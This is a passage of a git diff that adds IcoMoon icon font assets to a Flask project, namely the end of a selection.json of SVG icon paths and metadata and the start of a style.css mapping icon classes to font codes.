"prevSize": 24, + "code": 59630, + "name": "view_headline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 807 + }, + { + "icon": { + "paths": [ + "M384 214h512v170h-512v-170zM384 810v-170h512v170h-512zM384 598v-172h512v172h-512zM170 384v-170h172v170h-172zM170 810v-170h172v170h-172zM170 598v-172h172v172h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_list" + ], + "defaultCode": 59631, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_list", + "id": 808, + "order": 819, + "prevSize": 24, + "code": 59631, + "name": "view_list" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 808 + }, + { + "icon": { + "paths": [ + "M682 214h214v256h-214v-256zM426 470v-256h214v256h-214zM682 768v-256h214v256h-214zM426 768v-256h214v256h-214zM170 768v-256h214v256h-214zM170 470v-256h214v256h-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_module" + ], + "defaultCode": 59632, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_module", + "id": 809, + "order": 820, + "prevSize": 24, + "code": 59632, + "name": "view_module" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 809 + }, + { + "icon": { + "paths": [ + "M426 214h470v256h-470v-256zM682 768v-256h214v256h-214zM170 768v-554h214v554h-214zM426 768v-256h214v256h-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_quilt" + ], + "defaultCode": 59633, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_quilt", + "id": 810, + "order": 821, + "prevSize": 24, + "code": 59633, + "name": "view_quilt" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 810 + }, + { + "icon": { + "paths": [ + "M170 214h726v256h-726v-256zM170 768v-256h726v256h-726z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_stream" + ], + "defaultCode": 59634, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_stream", + "id": 811, + "order": 822, + "prevSize": 24, + "code": 59634, + "name": "view_stream" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 811 + }, + { + "icon": { + "paths": [ + "M554 214c24 0 44 18 44 42v512c0 24-20 42-44 42h-128c-24 0-42-18-42-42v-512c0-24 18-42 42-42h128zM854 214c24 0 42 18 42 42v512c0 24-18 42-42 42h-128c-24 0-44-18-44-42v-512c0-24 20-42 44-42h128zM256 214c24 0 42 18 42 42v512c0 24-18 42-42 42h-128c-24 0-42-18-42-42v-512c0-24 18-42 42-42h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "view_week" + ], + "defaultCode": 59635, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "view_week", + "id": 812, + "order": 823, + "prevSize": 24, + "code": 59635, + "name": "view_week" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 812 + }, + { + "icon": { + "paths": [ + "M512 768c188 0 342-114 342-256s-154-256-342-256-342 114-342 256 154 256 342 256zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vignette" + ], + "defaultCode": 58421, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "vignette", + "id": 813, + "order": 824, + "prevSize": 24, + "code": 58421, + "name": "vignette" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 813 + }, + { + "icon": { + "paths": [ + "M506 384h6c70 0 128 58 128 128v8zM322 418c-14 28-24 60-24 94 0 118 96 214 214 214 34 0 66-10 94-24l-66-66c-8 2-18 4-28 4-70 0-128-58-128-128 0-10 2-20 4-28zM86 182l54-54 756 756-54 54c-47.968-47.365-96.266-94.401-144-142-58 24-120 36-186 36-214 0-396-132-470-320 34-84 90-156 160-212-39.017-38.983-77.307-78.693-116-118zM512 298c-28 0-54 6-78 16l-92-92c52-20 110-30 170-30 214 0 394 132 468 320-32 80-82 148-146 202l-124-124c10-24 16-50 16-78 0-118-96-214-214-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "visibility_off" + ], + "defaultCode": 59637, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "visibility_off", + "id": 814, + "order": 825, + "prevSize": 24, + "code": 59637, + "name": "visibility_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 814 + }, + { + "icon": { + "paths": [ + "M768 598v-342l-170 136v-136h-342v342h342v-138zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "voice_chat" + ], + "defaultCode": 58926, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "voice_chat", + "id": 815, + "order": 826, + "prevSize": 24, + "code": 58926, + "name": "voice_chat" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 815 + }, + { + "icon": { + "paths": [ + "M790 640c82 0 148-68 148-150s-66-148-148-148-150 66-150 148 68 150 150 150zM234 640c82 0 150-68 150-150s-68-148-150-148-148 66-148 148 66 150 148 150zM790 256c130 0 234 104 234 234s-104 236-234 236h-556c-130 0-234-106-234-236s104-234 234-234 236 104 236 234c0 56-20 110-54 150h192c-34-40-54-94-54-150 0-130 106-234 236-234z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "voicemail" + ], + "defaultCode": 57561, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "voicemail", + "id": 816, + "order": 827, + "prevSize": 24, + "code": 57561, + "name": "voicemail" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 816 + }, + { + "icon": { + "paths": [ + "M214 384h170l214-214v684l-214-214h-170v-256zM790 512c0 76-44 140-108 172v-344c64 32 108 96 108 172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "volume_down" + ], + "defaultCode": 57421, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "volume_down", + "id": 817, + "order": 828, + "prevSize": 24, + "code": 57421, + "name": "volume_down" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 817 + }, + { + "icon": { + "paths": [ + "M298 384h172l212-214v684l-212-214h-172v-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "volume_mute" + ], + "defaultCode": 57422, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "volume_mute", + "id": 818, + "order": 829, + "prevSize": 24, + "code": 57422, + "name": "volume_mute" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 818 + }, + { + "icon": { + "paths": [ + "M512 170v180l-90-90zM182 128l714 714-54 54-88-88c-46 36-98 64-156 78v-88c36-10 68-28 96-50l-182-182v288l-214-214h-170v-256h202l-202-202zM810 512c0-136-88-250-212-286v-88c172 38 298 192 298 374 0 64-16 126-44 178l-64-66c14-34 22-72 22-112zM704 512c0 10 0 18-2 26l-104-104v-94c64 32 106 96 106 172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "volume_off" + ], + "defaultCode": 57423, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "volume_off", + "id": 819, + "order": 830, + "prevSize": 24, + "code": 57423, + "name": "volume_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 819 + }, + { + "icon": { + "paths": [ + "M598 138c172 38 298 192 298 374s-126 336-298 374v-88c124-36 212-150 212-286s-88-250-212-286v-88zM704 512c0 76-42 140-106 172v-344c64 32 106 96 106 172zM128 384h170l214-214v684l-214-214h-170v-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "volume_up" + ], + "defaultCode": 57424, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "volume_up", + "id": 820, + "order": 831, + "prevSize": 24, + "code": 57424, + "name": "volume_up" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 820 + }, + { + "icon": { + "paths": [ + "M298 598c46 0 86-40 86-86s-40-86-86-86-84 40-84 86 38 86 84 86zM540 426h442v172h-86v170h-170v-170h-186c-34 100-130 170-242 170-142 0-256-114-256-256s114-256 256-256c112 0 208 70 242 170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vpn_key" + ], + "defaultCode": 57562, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "vpn_key", + "id": 821, + "order": 832, + "prevSize": 24, + "code": 57562, + "name": "vpn_key" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 821 + }, + { + "icon": { + "paths": [ + "M426 894v-84c-46 0-84-38-84-84v-44l-206-204c-6 24-8 50-8 76 0 174 130 320 298 340zM808 512h86c2 14 2 28 2 42 0 236-190 428-426 428s-428-192-428-428 192-426 428-426c44 0 88 8 128 20v108c0 46-40 86-86 86h-86v84c0 24-18 44-42 44h-86v84h256c24 0 44 20 44 44v128h42c38 0 70 24 82 58 56-60 88-142 88-230 0-14 0-28-2-42zM904 170v-20c0-40-32-74-72-74s-72 34-72 74v20h144zM938 170c24 0 44 20 44 44v170c0 24-20 42-44 42h-212c-24 0-44-18-44-42v-170c0-24 20-44 44-44v-20c0-58 48-108 106-108s106 50 106 108v20z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "vpn_lock" + ], + "defaultCode": 58927, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "vpn_lock", + "id": 822, + "order": 833, + "prevSize": 24, + "code": 58927, + "name": "vpn_lock" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 822 + }, + { + "icon": { + "paths": [ + "M170 554v300h300v84h-300c-46 0-84-38-84-84v-300h84zM854 854v-300h84v300c0 46-38 84-84 84h-300v-84h300zM854 86c46 0 84 38 84 84v300h-84v-300h-300v-84h300zM726 362c0 36-28 64-64 64s-64-28-64-64 28-64 64-64 64 28 64 64zM426 554l128 158 86-114 128 170h-512zM170 170v300h-84v-300c0-46 38-84 84-84h300v84h-300z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wallpaper" + ], + "defaultCode": 57788, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wallpaper", + "id": 823, + "order": 834, + "prevSize": 24, + "code": 57788, + "name": "wallpaper" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 823 + }, + { + "icon": { + "paths": [ + "M256 512c0 142 114 256 256 256s256-114 256-256-114-256-256-256-256 114-256 256zM854 512c0 108-52 206-130 268l-42 244h-340l-42-244c-80-62-130-160-130-268s50-206 130-268l42-244h340l42 244c78 62 130 160 130 268z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "watch" + ], + "defaultCode": 58164, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "watch", + "id": 824, + "order": 835, + "prevSize": 24, + "code": 58164, + "name": "watch" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 824 + }, + { + "icon": { + "paths": [ + "M692 692l34-56-192-116v-222h-64v256zM512 86c234 0 426 192 426 426s-192 426-426 426-426-192-426-426 192-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "watch_later" + ], + "defaultCode": 59684, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "watch_later", + "id": 825, + "order": 836, + "prevSize": 24, + "code": 59684, + "name": "watch_later" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 825 + }, + { + "icon": { + "paths": [ + "M440 682h80l-136-384h-86l-136 384h82l30-84h136zM938 298h78l-88 384h-74l-64-260-64 260h-76l-4-18c-56 112-170 190-304 190-188 0-342-154-342-342s154-342 342-342c108 0 204 50 266 128h32l52 270 64-270h68l64 270zM292 540l50-156 48 156h-98z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wb_auto" + ], + "defaultCode": 58412, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wb_auto", + "id": 826, + "order": 837, + "prevSize": 24, + "code": 58412, + "name": "wb_auto" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 826 + }, + { + "icon": { + "paths": [ + "M736 774l60-58 76 76-60 60zM854 448h128v86h-128v-86zM640 270c76 44 128 126 128 220 0 142-114 256-256 256s-256-114-256-256c0-94 52-176 128-220v-206h256v206zM170 448v86h-128v-86h128zM470 958v-126h84v126h-84zM152 792l76-78 60 60-76 78z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wb_incandescent" + ], + "defaultCode": 58414, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wb_incandescent", + "id": 827, + "order": 838, + "prevSize": 24, + "code": 58414, + "name": "wb_incandescent" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 827 + }, + { + "icon": { + "paths": [ + "M212 852l-60-62 76-76 60 60zM152 190l60-60 76 76-60 60zM872 792l-60 60-76-78 60-60zM554 958h-84v-126h84v126zM812 130l60 60-76 76-60-60zM470 24h84v126h-84v-126zM214 618v-256h596v256h-596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wb_iridescent" + ], + "defaultCode": 58422, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wb_iridescent", + "id": 828, + "order": 839, + "prevSize": 24, + "code": 58422, + "name": "wb_iridescent" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 828 + }, + { + "icon": { + "paths": [ + "M152 792l76-78 60 60-76 78zM470 958v-126h84v126h-84zM512 234c142 0 256 114 256 256s-114 256-256 256-256-114-256-256 114-256 256-256zM854 448h128v86h-128v-86zM736 774l60-58 76 76-60 60zM872 190l-76 76-60-60 76-76zM554 24v126h-84v-126h84zM170 448v86h-128v-86h128zM288 206l-60 60-76-76 60-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wb_sunny" + ], + "defaultCode": 58416, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wb_sunny", + "id": 829, + "order": 840, + "prevSize": 24, + "code": 58416, + "name": "wb_sunny" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 829 + }, + { + "icon": { + "paths": [ + "M704 256c-48 0-86-38-86-86s38-84 86-84 86 36 86 84-38 86-86 86zM320 256c-48 0-86-38-86-86s38-84 86-84 86 36 86 84-38 86-86 86zM768 938h-128v-256h-128l108-324c12-34 46-60 82-60h4c36 0 70 26 82 60l108 324h-128v256zM234 938v-320h-64v-234c0-46 40-86 86-86h128c46 0 86 40 86 86v234h-64v320h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wc" + ], + "defaultCode": 58941, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wc", + "id": 830, + "order": 841, + "prevSize": 24, + "code": 58941, + "name": "wc" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 830 + }, + { + "icon": { + "paths": [ + "M854 768v-384h-172v384h172zM640 554v-170h-470v170h470zM640 768v-170h-470v170h470zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "web" + ], + "defaultCode": 57425, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "web", + "id": 831, + "order": 842, + "prevSize": 24, + "code": 57425, + "name": "web" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 831 + }, + { + "icon": { + "paths": [ + "M810 768v-426h-596v426h596zM810 170c48 0 86 40 86 86v512c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-512c0-46 38-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "web_asset" + ], + "defaultCode": 57449, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "web_asset", + "id": 832, + "order": 843, + "prevSize": 24, + "code": 57449, + "name": "web_asset" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 832 + }, + { + "icon": { + "paths": [ + "M768 214c46 0 86 38 86 84v92c-50 18-86 64-86 120v88h-512v-88c0-56-36-102-86-120v-92c0-46 40-84 86-84h512zM896 426c46 0 86 40 86 86v214c0 46-40 84-86 84h-768c-46 0-86-38-86-84v-214c0-46 40-86 86-86s86 40 86 86v128h596v-128c0-46 40-86 86-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "weekend" + ], + "defaultCode": 57707, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "weekend", + "id": 833, + "order": 844, + "prevSize": 24, + "code": 57707, + "name": "weekend" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 833 + }, + { + "icon": { + "paths": [ + "M500 810c114 0 204-90 204-204 0-60-8-116-24-172-44 58-122 94-198 110s-120 62-120 132c0 74 62 134 138 134zM576 28c166 134 278 340 278 570 0 188-154 340-342 340s-342-152-342-340c0-144 52-278 138-380v16c0 88 66 158 154 158s146-70 146-158c0-92-32-206-32-206z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "whatshot" + ], + "defaultCode": 59406, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "whatshot", + "id": 834, + "order": 845, + "prevSize": 24, + "code": 59406, + "name": "whatshot" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 834 + }, + { + "icon": { + "paths": [ + "M710 72l242 242-242 240h186v342h-342v-342h156l-240-240v156h-342v-342h342v186zM128 896v-342h342v342h-342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "widgets" + ], + "defaultCode": 57789, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "widgets", + "id": 835, + "order": 846, + "prevSize": 24, + "code": 57789, + "name": "widgets" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 835 + }, + { + "icon": { + "paths": [ + "M214 554c166-164 432-164 596 0l-84 86c-118-118-310-118-428 0zM384 726c70-70 186-70 256 0l-128 128zM42 384c260-258 682-258 940 0l-86 86c-212-212-556-212-768 0z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wifi" + ], + "defaultCode": 58942, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wifi", + "id": 836, + "order": 847, + "prevSize": 24, + "code": 58942, + "name": "wifi2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 836 + }, + { + "icon": { + "paths": [ + "M938 682v-64c0-36-28-64-64-64s-64 28-64 64v64h128zM982 682c24 0 42 20 42 44v170c0 24-18 42-42 42h-214c-24 0-42-18-42-42v-170c0-24 18-44 42-44v-64c0-58 48-106 106-106s108 48 108 106v64zM874 406c-118 0-212 94-212 212v122l-150 198-512-682c142-108 320-170 512-170s370 62 512 170l-114 152c-12-2-24-2-36-2z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wifi_lock" + ], + "defaultCode": 57825, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wifi_lock", + "id": 837, + "order": 848, + "prevSize": 24, + "code": 57825, + "name": "wifi_lock" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 837 + }, + { + "icon": { + "paths": [ + "M512 128c236 0 426 190 426 426 0 158-84 296-212 370l-44-74c102-60 172-170 172-296 0-188-154-340-342-340s-342 152-342 340c0 126 68 236 170 296l-42 74c-128-74-212-212-212-370 0-236 190-426 426-426zM768 554c0 94-52 178-128 222l-42-74c50-30 84-84 84-148 0-94-76-170-170-170s-170 76-170 170c0 64 34 118 84 148l-42 74c-76-44-128-128-128-222 0-142 114-256 256-256s256 114 256 256zM512 470c46 0 86 38 86 84s-40 86-86 86-86-40-86-86 40-84 86-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wifi_tethering" + ], + "defaultCode": 57826, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wifi_tethering", + "id": 838, + "order": 849, + "prevSize": 24, + "code": 57826, + "name": "wifi_tethering" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 838 + }, + { + "icon": { + "paths": [ + "M598 256v-86h-172v86h172zM854 256c48 0 84 38 84 86v468c0 48-36 86-84 86h-684c-48 0-84-38-84-86v-468c0-48 36-86 84-86h172v-86c0-48 36-84 84-84h172c48 0 84 36 84 84v86h172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "work" + ], + "defaultCode": 59641, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "work", + "id": 839, + "order": 850, + "prevSize": 24, + "code": 59641, + "name": "work" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 839 + }, + { + "icon": { + "paths": [ + "M726 470c94 0 170 76 170 170s-76 170-170 170h-86v86l-128-128 128-128v86h96c46 0 86-40 86-86s-40-86-86-86h-566v-84h556zM854 214v84h-684v-84h684zM170 810v-84h256v84h-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "wrap_text" + ], + "defaultCode": 57947, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "wrap_text", + "id": 840, + "order": 851, + "prevSize": 24, + "code": 57947, + "name": "wrap_text" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 840 + }, + { + "icon": { + "paths": [ + "M726 598l212 212-62 64-214-214v-32l-12-12c-48 42-112 66-180 66-52 0-100-14-142-38l64-62c24 10 50 16 78 16 106 0 192-86 192-192s-86-192-192-192-192 86-192 192h148l-176 170-164-170h106c0-150 124-278 278-278s278 124 278 278c0 70-26 132-68 180l12 12h34z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "youtube_searched_for" + ], + "defaultCode": 59642, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "youtube_searched_for", + "id": 841, + "order": 852, + "prevSize": 24, + "code": 59642, + "name": "youtube_searched_for" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 841 + }, + { + "icon": { + "paths": [ + "M512 426h-86v86h-42v-86h-86v-42h86v-86h42v86h86v42zM406 598c106 0 192-86 192-192s-86-192-192-192-192 86-192 192 86 192 192 192zM662 598l212 212-64 64-212-212v-34l-12-12c-48 42-112 66-180 66-154 0-278-122-278-276s124-278 278-278 276 124 276 278c0 68-24 132-66 180l12 12h34z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "zoom_in" + ], + "defaultCode": 59647, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "zoom_in", + "id": 842, + "order": 853, + "prevSize": 24, + "code": 59647, + "name": "zoom_in" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 842 + }, + { + "icon": { + "paths": [ + "M298 384h214v42h-214v-42zM406 598c106 0 192-86 192-192s-86-192-192-192-192 86-192 192 86 192 192 192zM662 598l212 212-64 64-212-212v-34l-12-12c-48 42-112 66-180 66-154 0-278-122-278-276s124-278 278-278 276 124 276 278c0 68-24 132-66 180l12 12h34z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "zoom_out" + ], + "defaultCode": 59648, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "zoom_out", + "id": 843, + "order": 854, + "prevSize": 24, + "code": 59649, + "name": "zoom_out" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 843 + }, + { + "icon": { + "paths": [ + "M896 640v256h-256l98-98-124-122 62-62 122 124zM384 896h-256v-256l98 98 122-124 62 62-124 122zM128 384v-256h256l-98 98 124 122-62 62-122-124zM640 128h256v256l-98-98-122 124-62-62 124-122z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "zoom_out_map" + ], + "defaultCode": 58731, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "zoom_out_map", + "id": 844, + "order": 855, + "prevSize": 24, + "code": 58731, + "name": "zoom_out_map" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 844 + } + ], + "height": 1024, + "metadata": { + "name": "icomoon" + }, + "preferences": { + "showGlyphs": true, + "showCodes": false, + "showQuickUse": true, + "showQuickUse2": true, + "showSVGs": true, + "fontPref": { + "prefix": "icon-", + "metadata": { + "fontFamily": "icomoon" + }, + "metrics": { + "emSize": 1024, + "baseline": 6.25, + "whitespace": 50 + }, + "embed": false + }, + "imagePref": { + "prefix": "icon-", + "png": true, + "useClassSelector": true, + "color": 0, + "bgColor": 16777215, + "classSelector": ".icon" + }, + "historySize": 50, + "showLiga": false, + "gridSize": 16 + } +} \ No newline at end of file diff --git a/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/style.css b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/style.css new file mode 100644 index 00000000..05a94234 --- /dev/null +++ b/FLASK PROJECTS/Teacher Promotion Flask API/static/fonts/icomoon/style.css @@ -0,0 +1,4919 @@ +@font-face { + font-family: 'icomoon'; + src: url('fonts/icomoon.eot?10si43'); + src: url('fonts/icomoon.eot?10si43#iefix') format('embedded-opentype'), + url('fonts/icomoon.ttf?10si43') format('truetype'), + url('fonts/icomoon.woff?10si43') format('woff'), + url('fonts/icomoon.svg?10si43#icomoon') format('svg'); + font-weight: normal; + font-style: normal; +} + +[class^="icon-"], [class*=" icon-"] { + /* use !important to prevent issues with browser extensions that change fonts */ + font-family: 'icomoon' !important; + speak: none; + font-style: normal; + font-weight: normal; + font-variant: normal; + text-transform: none; + line-height: 1; + + /* Better Font Rendering =========== */ + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +.icon-asterisk:before { + content: "\f069"; +} +.icon-plus:before { + content: "\f067"; +} +.icon-question:before { + content: "\f128"; +} +.icon-minus:before { + content: "\f068"; +} +.icon-glass:before { + content: "\f000"; +} +.icon-music:before { + content: "\f001"; +} +.icon-search:before { + content: "\f002"; +} +.icon-envelope-o:before { + content: "\f003"; +} +.icon-heart:before { + content: "\f004"; +} +.icon-star:before { + content: "\f005"; +} +.icon-star-o:before { + content: "\f006"; +} +.icon-user:before { + content: "\f007"; +} +.icon-film:before { + content: "\f008"; +} +.icon-th-large:before { + content: "\f009"; +} +.icon-th:before { + content: "\f00a"; +} +.icon-th-list:before { + content: "\f00b"; +} +.icon-check:before { + content: "\f00c"; +} +.icon-close:before { + content: "\f00d"; +} +.icon-remove:before { + content: "\f00d"; +} +.icon-times:before { + content: "\f00d"; +} +.icon-search-plus:before { + content: "\f00e"; +} +.icon-search-minus:before { + content: "\f010"; +} +.icon-power-off:before { + content: "\f011"; +} +.icon-signal:before { + content: "\f012"; +} +.icon-cog:before { + content: "\f013"; +} +.icon-gear:before { + content: "\f013"; +} +.icon-trash-o:before { + content: "\f014"; +} +.icon-home:before { + content: "\f015"; +} +.icon-file-o:before { + content: "\f016"; +} +.icon-clock-o:before { + content: "\f017"; +} +.icon-road:before { + content: "\f018"; +} +.icon-download:before { + content: "\f019"; +} +.icon-arrow-circle-o-down:before { + content: "\f01a"; +} +.icon-arrow-circle-o-up:before { + content: "\f01b"; +} +.icon-inbox:before { + content: "\f01c"; +} +.icon-play-circle-o:before { + content: "\f01d"; +} +.icon-repeat:before { + content: "\f01e"; +} +.icon-rotate-right:before { + content: "\f01e"; +} +.icon-refresh:before { + content: "\f021"; +} +.icon-list-alt:before { + content: "\f022"; +} +.icon-lock:before { + content: "\f023"; +} +.icon-flag:before { + content: "\f024"; +} +.icon-headphones:before { + content: "\f025"; +} +.icon-volume-off:before { + content: "\f026"; +} +.icon-volume-down:before { + content: "\f027"; +} +.icon-volume-up:before { + content: "\f028"; +} +.icon-qrcode:before { + content: "\f029"; +} +.icon-barcode:before { + content: "\f02a"; +} +.icon-tag:before { + content: "\f02b"; +} +.icon-tags:before { + content: "\f02c"; +} +.icon-book:before { + content: "\f02d"; +} +.icon-bookmark:before { + content: "\f02e"; +} +.icon-print:before { + content: "\f02f"; +} +.icon-camera:before { + content: "\f030"; +} +.icon-font:before { + content: "\f031"; +} +.icon-bold:before { + content: "\f032"; +} +.icon-italic:before { + content: "\f033"; +} +.icon-text-height:before { + content: "\f034"; +} +.icon-text-width:before { + content: "\f035"; +} +.icon-align-left:before { + content: "\f036"; +} +.icon-align-center:before { + content: "\f037"; +} +.icon-align-right:before { + content: "\f038"; +} +.icon-align-justify:before { + content: "\f039"; +} +.icon-list:before { + content: "\f03a"; +} +.icon-dedent:before { + content: "\f03b"; +} +.icon-outdent:before { + content: "\f03b"; +} +.icon-indent:before { + content: "\f03c"; +} +.icon-video-camera:before { + content: "\f03d"; +} +.icon-image:before { + content: "\f03e"; +} +.icon-photo:before { + content: "\f03e"; +} +.icon-picture-o:before { + content: "\f03e"; +} +.icon-pencil:before { + content: "\f040"; +} +.icon-map-marker:before { + content: "\f041"; +} +.icon-adjust:before { + content: "\f042"; +} +.icon-tint:before { + content: "\f043"; +} +.icon-edit:before { + content: "\f044"; +} +.icon-pencil-square-o:before { + content: "\f044"; +} +.icon-share-square-o:before { + content: "\f045"; +} +.icon-check-square-o:before { + content: "\f046"; +} +.icon-arrows:before { + content: "\f047"; +} +.icon-step-backward:before { + content: "\f048"; +} +.icon-fast-backward:before { + content: "\f049"; +} +.icon-backward:before { + content: "\f04a"; +} +.icon-play:before { + content: "\f04b"; +} +.icon-pause:before { + content: "\f04c"; +} +.icon-stop:before { + content: "\f04d"; +} +.icon-forward:before { + content: "\f04e"; +} 